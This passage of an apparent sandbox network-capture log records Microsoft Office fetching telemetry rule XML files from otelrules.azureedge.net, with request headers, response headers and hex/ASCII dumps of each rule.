2024-10-26 11:45:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49821	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:25 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114525Z-16849878b78qfbkc5yywmsbg0c00000001hg00000000d6qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49822	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:25 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:25 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:25 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 612e6849-a01e-0084-0e9c-279ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114525Z-r197bdfb6b4d9xksru4x6qbqr00000000210000000001e34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-26 11:45:25 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49823	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:25 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 12d8ca17-b01e-0098-4df1-26cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114525Z-16849878b78fssff8btnns3b14000000024g00000000e5e4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49824	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:25 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:25 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 013f0f94-801e-00ac-2ef3-24fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114525Z-15b8d89586fnsf5zd126eyaetw000000031g000000008yp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:25 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49825	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:26 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-16849878b78z5q7jpbgf6e9mcw0000000aw000000000008m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:26 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49826	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c6fd9367-401e-008c-7f80-2686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-16849878b78xblwksrnkakc08w000000017g0000000077kx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:26 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49827	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 218b1b25-701e-005c-4b21-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-17c5cb586f6w4mfs5xcmnrny6n00000003kg000000002ssb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:26 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49828	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:26 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: cd4a5759-201e-005d-4b3a-26afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-17c5cb586f6zrq5bnguxgu7frc00000002pg000000007msf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:26 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49829	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:26 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-16849878b78wc6ln1zsrz6q9w800000001mg00000000akqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:26 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49830	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:27 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-16849878b78fkwcjkpn19c5dsn00000000yg00000000a7sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49832	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:27 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-16849878b785jrf8dn0d2rczaw0000000350000000005zvm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49831	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
